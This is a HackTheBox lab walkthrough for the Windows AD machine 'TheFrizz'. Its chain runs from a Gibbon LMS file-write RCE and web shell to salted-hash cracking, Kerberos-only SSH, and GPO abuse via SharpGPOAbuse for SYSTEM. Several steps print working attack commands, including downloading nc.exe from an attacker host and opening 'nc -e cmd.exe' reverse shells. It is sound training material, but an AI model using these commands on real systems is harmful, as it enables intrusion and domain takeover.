TheFrizz.
Medium Windows Active Directory Gibbon LMS RCE Kerberos-only GPO Abuse HackTheBox
Medium Windows Active Directory machine themed around the Magic School Bus. The chain combines an unauthenticated file-write RCE in Gibbon LMS, salted SHA-256 credential cracking, and a fully NTLM-disabled environment that forces pure Kerberos tooling throughout. Root comes from GPO creation rights abused to deploy a SYSTEM scheduled task on the DC via domain-root-linked computer policy.
User Flag
e486f8c2aecdc9c89f96c60e81973612
Root Flag
7b208fe71bfca87b1c1c1f03f33e7957
01Enumeration

Full port scan reveals a classic domain controller profile: Kerberos, LDAP, and SMB. SSH on port 22 is unusual for Windows — it's OpenSSH for Windows, and it becomes the primary shell method throughout because WinRM is absent. HTTP on port 80 redirects to a Gibbon LMS instance.

nmap
$ export IP=10.129.232.168 $ nmap -sC -sV -p- --min-rate 5000 -oN nmap_full.txt $IP 22/tcp open ssh OpenSSH for Windows 80/tcp open http Apache/PHP — redirects to frizzdc.frizz.htb/home/ 88/tcp open kerberos-sec Windows KDC 389/tcp open ldap Active Directory (domain: frizz.htb) 445/tcp open microsoft-ds SMB (signing required, NTLM disabled) 3268/tcp open ldap Global Catalog | clock-skew: +7h0m
clock skew +7h: Kerberos rejects tickets issued more than 5 minutes from the DC's time. Every Kerberos-based command must be prefixed with faketime -f "+7h" throughout this box.

Add the DC hostname to /etc/hosts — and critically, put the FQDN first. This matters for Kerberos SPN lookups (explained in detail in the Kerberos Setup section).

/etc/hosts
$ echo "10.129.232.168 frizzdc.frizz.htb frizz.htb" >> /etc/hosts
hosts order matters for Kerberos: the first hostname listed for an IP becomes the canonical name used for reverse DNS lookups. SSH uses this to build the Kerberos SPN: host/frizzdc.frizz.htb@FRIZZ.HTB. If frizz.htb comes first, SSH looks for host/frizz.htb@FRIZZ.HTB — a SPN that doesn't exist — and GSSAPI fails with "Permission denied" even with a valid TGT. Always put the DC FQDN first.

Confirm the NTLM situation before going further. Both SMB and LDAP null sessions return STATUS_NOT_SUPPORTED — NTLM is completely disabled at the domain level.

SMB & LDAP null auth
$ nxc smb $IP -u '' -p '' [-] frizz.htb STATUS_NOT_SUPPORTED $ nxc ldap $IP -u '' -p '' [-] frizz.htb STATUS_NOT_SUPPORTED
NTLM fully disabled: no null sessions, no guest auth, no RID brute-force. Every AD tool needs Kerberos credentials. The web app is the only unauthenticated attack surface available.

The HTTP site at http://frizzdc.frizz.htb/home/ runs Gibbon LMS — an open-source school management system. Research for this version reveals a known file-write RCE that doesn't require authentication.

02Foothold — Gibbon LMS RCE

Gibbon LMS has an unauthenticated file-write vulnerability that allows uploading a PHP web shell. The exploit abuses an AJAX endpoint in the Rubrics module that writes attacker-controlled content to the web root without any authentication or path sanitisation check.

Gibbon LMS file-write RCE
$ git clone https://github.com/ulricvbs/gibbonlms-filewrite_rce.git $ cd gibbonlms-filewrite_rce $ python3 gibbonlms_cmd_shell.py http://frizzdc.frizz.htb/ [+] Successfully uploaded web shell to http://frizzdc.frizz.htb//Gibbons-LMS/BniO.php [*] Here's your shell: BniO.php?cmd=> whoami frizz\w.webservice
point at the site root, not a subdirectory: the script expects http://frizzdc.frizz.htb/. Pointing at /Gibbon-LMS/ fails — the exploit auto-discovers the installation path from the root. The discovered shell path will include the correct subdirectory automatically.
web shell gets cleaned up periodically: the box runs a scheduled task that deletes uploaded shells every few minutes. Get a stable reverse shell before the cleanup runs.

Upgrade to a stable reverse shell by uploading nc.exe while the web shell is still alive.

upload nc.exe → stable shell
# Kali — serve nc.exe and listen $ python3 -m http.server 80 $ nc -lvnp 4444 # web shell — fetch nc.exe then connect back BniO.php?cmd=> powershell -c "Invoke-WebRequest http://10.10.14.78/nc.exe -OutFile C:\xampp\htdocs\Gibbon-LMS\nc.exe" BniO.php?cmd=> C:\xampp\htdocs\Gibbon-LMS\nc.exe -e cmd.exe 10.10.14.78 4444 connect to [10.10.14.78] from (UNKNOWN) [10.129.232.168] C:\xampp\htdocs\Gibbon-LMS> whoami frizz\w.webservice
03Credential Extraction — DB Config, Hash Format & Cracking

The first thing to check in any PHP application is the database configuration file. Gibbon LMS stores its DB credentials in config.php at the application root.

config.php — DB credentials
C:\> type C:\xampp\htdocs\Gibbon-LMS\config.php $databaseServer = 'localhost'; $databaseUsername = 'MrGibbonsDB'; $databasePassword = 'MisterGibbs!Parrot!?1'; $databaseName = 'gibbon';

Query the gibbonPerson table for user hashes. The passwordStrong and passwordStrongSalt columns hold the credentials.

MySQL — dump user hashes
C:\> C:\xampp\mysql\bin\mysql.exe -u MrGibbonsDB -p"MisterGibbs!Parrot!?1" -e "SELECT username, passwordStrong, passwordStrongSalt FROM gibbon.gibbonPerson WHERE passwordStrong != '';" username passwordStrong passwordStrongSalt f.frizzle 067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03 /aACFhikmNopqrRTVz2489
no space between -p and the password: -p "password" (with space) makes mysql prompt interactively for a password and hang forever. -p"password" (no space) passes the password non-interactively. A subtle difference that wastes time.

Before cracking, always read the source to understand exactly how the hash was constructed. Getting the salt order wrong means zero cracks even with the correct password in the wordlist.

find the hashing implementation in source
C:\> findstr /s /i "passwordStrong" C:\xampp\htdocs\Gibbon-LMS\*.php $passwordStrong = hash('sha256', $salt.$password);
hash format confirmed: sha256(salt + password) — hashcat mode 1420. Input format: hash:salt.
hashcat — crack salted SHA-256
$ echo "067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03:/aACFhikmNopqrRTVz2489" > frizz_hash.txt $ hashcat -m 1420 frizz_hash.txt /usr/share/wordlists/rockyou.txt 067f746f...:f.frizzle:Jenni_Luvs_Magic23
credentials recovered: f.frizzle : Jenni_Luvs_Magic23
04Kerberos Setup & SSH Access

With NTLM disabled, every tool needs a valid Kerberos TGT. This is where TheFrizz forces you to understand how Kerberos authentication actually works rather than relying on the usual pass-the-hash shortcuts. The three things needed are: a correctly configured krb5.conf, a TGT obtained at the right system time, and SSH using GSSAPI to consume that TGT.

generate krb5.conf with nxc
$ faketime -f "+7h" nxc smb frizzdc.frizz.htb -u f.frizzle -p 'Jenni_Luvs_Magic23' -k --generate-krb5-file krb5.conf $ sudo cp krb5.conf /etc/krb5.conf
kinit — request TGT with clock offset
$ faketime -f "+7h" kinit f.frizzle@FRIZZ.HTB Password for f.frizzle@FRIZZ.HTB: Jenni_Luvs_Magic23 $ faketime -f "+7h" klist Credentials cache: API:... Principal: f.frizzle@FRIZZ.HTB Service: krbtgt/FRIZZ.HTB@FRIZZ.HTB Expires: [+8h]

With a valid TGT in the cache, SSH uses GSSAPI (Kerberos) automatically — no password prompt. The key insight is that SSH does a reverse lookup on the hostname to build the Kerberos SPN, which is why /etc/hosts order is critical (covered in the Enumeration section).

SSH via GSSAPI — no password needed
$ faketime -f "+7h" ssh f.frizzle@frizzdc.frizz.htb Microsoft Windows [Version 10.0.20348....] PS C:\Users\f.frizzle\Desktop> cat user.txt e486f8c2aecdc9c89f96c60e81973612
user flag obtained. SSH authenticates without a password because the TGT satisfies GSSAPI. This only works when frizzdc.frizz.htb is the first hostname for the IP in /etc/hosts.
05BloodHound — Attack Path Discovery

With valid Kerberos credentials, run BloodHound collection using the --kerberos flag. NTLM is off, so bloodhound-python falls back to Kerberos authentication when collecting from LDAP and SMB.

BloodHound collection — Kerberos auth
$ faketime -f "+7h" bloodhound-python -d frizz.htb \ -u f.frizzle -p 'Jenni_Luvs_Magic23' \ -dc frizzdc.frizz.htb -ns 10.129.232.168 \ --kerberos -c all

BloodHound reveals the following attack path:

attack path
f.frizzle →[?]→ M.SchoolBus M.SchoolBus →[WriteGPLink]→ OU=Class_Frizz,DC=frizz,DC=htb v.frizzle (Domain Admin) lives in OU=Class_Frizz M.SchoolBus is member of: Group Policy Creator Owners All domain users are in Class_Frizz OU
key ACLs found:
· Group Policy Creator Owners membership on M.SchoolBus — can create new GPOs
· WriteGPLink on OU=Class_Frizz — can link GPOs to that OU
· v.frizzle (Domain Admin) resides in Class_Frizz — and so do all regular users
06Lateral Movement — M.SchoolBus

Move to M.SchoolBus using the same Kerberos workflow: obtain a TGT for the new account and SSH in. Confirm group memberships to verify the GPO creation rights are in place before attempting the escalation.

kinit + SSH as M.SchoolBus
$ faketime -f "+7h" kinit M.SchoolBus@FRIZZ.HTB Password for M.SchoolBus@FRIZZ.HTB: [password] $ faketime -f "+7h" ssh M.SchoolBus@frizzdc.frizz.htb PS C:\Users\M.SchoolBus> whoami /groups FRIZZ\Group Policy Creator Owners ← confirmed
Group Policy Creator Owners confirmed. M.SchoolBus can create new GPOs in the domain. Combined with WriteGPLink on Class_Frizz, this is enough for the escalation.
07Privilege Escalation — GPO Abuse to SYSTEM

The goal is to create a GPO with a malicious scheduled task that runs as SYSTEM on the DC, delivering a reverse shell. Three components make this possible:

· Group Policy Creator Owners — M.SchoolBus can create new GPOs in the domain
· WriteGPLink — M.SchoolBus can link GPOs to OUs
· Computer Scheduled Task — runs as SYSTEM when Group Policy refreshes on any in-scope computer

This section covers four failed attempts before the working approach — each failure teaches something important about how GPO scoping actually works.

Step 1: Upload tools. C:\Windows\Temp is write-denied for M.SchoolBus. C:\ProgramData is writable and works as a staging location.

SCP tools to writable path
$ faketime -f "+7h" scp -o GSSAPIAuthentication=yes SharpGPOAbuse.exe nc.exe M.SchoolBus@frizzdc.frizz.htb:'C:/ProgramData/'

Step 2: Create the GPO and link it. Linking to just Class_Frizz is insufficient for a computer task (explained in the failures below). The GPO must also be linked to the domain root so that the DC computer object inherits it.

New-GPO → link to Class_Frizz AND domain root
# create the GPO PS> New-GPO -Name "jostif" # link to Class_Frizz OU (WriteGPLink right) PS> New-GPLink -Name "jostif" -Target "OU=Class_Frizz,DC=frizz,DC=htb" # CRITICAL: also link to domain root so the DC inherits the policy PS> New-GPLink -Name "jostif" -Target "DC=frizz,DC=htb"

What failed and why — four attempts before it worked.

Attempt 1 — pyGPOAbuse:
faketime -f "+7h" python3 pygpoabuse.py frizz.htb/M.SchoolBus -k -no-pass ...
Failed with two issues: -no-pass and -ou are not valid flags in this version of pyGPOAbuse. Also hit KDC_ERR_S_PRINCIPAL_UNKNOWN when using the raw IP for -dc-ip instead of the DC FQDN — Kerberos needs resolvable hostnames, not IPs.
Attempt 2 — SharpGPOAbuse --AddComputerTask linked only to Class_Frizz:
Computer GPO tasks apply only to computer objects in the targeted OU. The Class_Frizz OU contains only user accounts — no computers. Linking a GPO with a computer task to an OU full of users does absolutely nothing, because no computer object receives that policy scope.

Class_Frizz OU: f.frizzle (user), M.SchoolBus (user), v.frizzle (user) — no computers
Attempt 3 — SharpGPOAbuse --AddUserTask:
User tasks apply to user objects, making Class_Frizz the right scope. However, gpupdate /force in an SSH session uses a network logon token (logon type 3). User GPO scheduled tasks are designed for interactive logons (logon type 2). The task was created and visible in Group Policy, but gpupdate via SSH only reliably applies computer policy — the user task was never triggered.
Attempt 4 — --AddComputerTask linked to domain root — WORKED:
The DC computer object (FRIZZDC$) lives in OU=Domain Controllers, which inherits GPOs from the domain root (DC=frizz,DC=htb). By linking the GPO to the domain root, the DC itself enters scope for the computer policy. gpupdate /force on the DC then processes the computer task and runs it as SYSTEM.

DC=frizz,DC=htb (domain root — GPO linked here)
  └── OU=Domain Controllers
        └── FRIZZDC$ (inherits GPO, processes computer task as SYSTEM)

Step 3: Verify SYSTEM execution before deploying the shell. Test with a harmless command-to-file write first — if the output file contains nt authority\system, the computer task is running correctly.

test computer task — write whoami output to file
PS> .\SharpGPOAbuse.exe --AddComputerTask --GPOName "jostif" --Author "NT AUTHORITY\SYSTEM" --TaskName "Test1" --Command "cmd.exe" --Arguments "/c whoami > C:\ProgramData\test.txt" --Force PS> gpupdate /force PS> cat C:\ProgramData\test.txt nt authority\system ← SYSTEM execution confirmed

Step 4: Deploy the reverse shell.

SharpGPOAbuse → reverse shell as SYSTEM
# Kali — start listener $ nc -lvnp 5555 # DC — add computer task with nc.exe reverse shell PS> .\SharpGPOAbuse.exe --AddComputerTask --GPOName "jostif" --Author "NT AUTHORITY\SYSTEM" --TaskName "RevShell" --Command "cmd.exe" --Arguments "/c C:\ProgramData\nc.exe -e cmd.exe 10.10.14.78 5555" --Force PS> gpupdate /force
SYSTEM shell + root flag
connect to [10.10.14.78] from (UNKNOWN) [10.129.4.235] 55697 Microsoft Windows [Version 10.0.20348.3207] C:\Windows\system32> whoami nt authority\system C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt 7b208fe71bfca87b1c1c1f03f33e7957
08GPO: Computer vs User Tasks — What Actually Happens

This is worth understanding deeply. GPO task scoping is what made this box hard, and it's a concept that trips up most people because the distinction between computer and user policy isn't obvious from the BloodHound graph.

GPO Scope — what a GPO applies to.

A GPO applies to the objects in the OU it's linked to:

· Linked to an OU containing users → user configuration applies to those users
· Linked to an OU containing computers → computer configuration applies to those machines
· Linked to the domain root → applies to all objects in the domain through inheritance

Scheduled Tasks in GPO — when they run.

Task TypeApplies ToRuns When
Computer TaskComputer objects in scopeAny user logs on, or gpupdate runs on that machine
User TaskUser objects in scopeThat specific user logs on interactively (logon type 2)

Why network logon breaks user GPO tasks.

SSH creates a network logon (logon type 3). User GPO preferences and scheduled tasks are designed for interactive logons (logon type 2 — what you get at a physical console or RDP). When you run gpupdate /force in an SSH session, Windows processes computer policy reliably but silently skips user GPO preferences and scheduled tasks because there's no interactive logon context to attach them to.

The winning combination — why it worked.

StepWhatWhy
1Create GPO as M.SchoolBusGroup Policy Creator Owners grants this right
2Link to domain rootInheritance reaches OU=Domain ControllersFRIZZDC$ enters scope
3--AddComputerTaskApplies to computer objects; runs as SYSTEM regardless of who triggers it
4gpupdate /force in SSH sessionComputer policy processes reliably over network logon — computer tasks fire
before choosing --AddComputerTask vs --AddUserTask: always run Get-ADUser -Filter * -SearchBase "OU=..." and Get-ADComputer -Filter * -SearchBase "OU=..." to understand what object types live in each OU. That determines which task type makes sense and which OU to link the GPO to. Getting this wrong means the task is created, Group Policy applies cleanly, and absolutely nothing executes.
09Full Attack Chain
attack chain summary
Gibbon LMS (unauthenticated file-write RCE — Rubrics AJAX endpoint) │ ▼ PHP web shell → nc.exe reverse shellfrizz\w.webservice │ ▼ config.php → MrGibbonsDB credentials → MySQL query → sha256 hash + salt for f.frizzle → hashcat -m 1420 → f.frizzle:Jenni_Luvs_Magic23 │ ▼ faketime +7h → kinit → SSH via GSSAPIuser.txt ✓ │ ▼ bloodhound-python -k → attack path M.SchoolBus: Group Policy Creator Owners + WriteGPLink on Class_Frizz │ ▼ kinit M.SchoolBus → SSHM.SchoolBus confirmed in Group Policy Creator Owners │ ▼ New-GPO "jostif" → New-GPLink to Class_Frizz AND domain root SharpGPOAbuse --AddComputerTask (domain root link → DC inherits policy) gpupdate /force → SYSTEM task firesroot.txt ✓
key takeaways:
· NTLM disabledSTATUS_NOT_SUPPORTED on SMB/LDAP means everything needs Kerberos. Every tool needs -k, a valid TGT, and faketime -f "+Xh" prefixed when clock skew exists
· /etc/hosts order — the first hostname for an IP is used for Kerberos SPN construction. Always put the DC FQDN first
· GPO computer tasks need computer objects in scope — linking to a user-only OU silently does nothing. When no computer objects are in the target OU, link to the domain root to reach the DC via inheritance
· User GPO tasks don't fire over SSH — SSH is a network logon (type 3). User GPO scheduled tasks require interactive logon (type 2). Use computer tasks for reliable remote execution
· Salted hash cracking — always read the source to confirm the exact salt order and hashing function. sha256(salt + pass) is mode 1420 with format hash:salt. Getting salt order wrong means zero results even with the correct password in the wordlist
· MySQL -p flag — no space between -p and the password. -p "pass" hangs interactively; -p"pass" works inline
← all writeups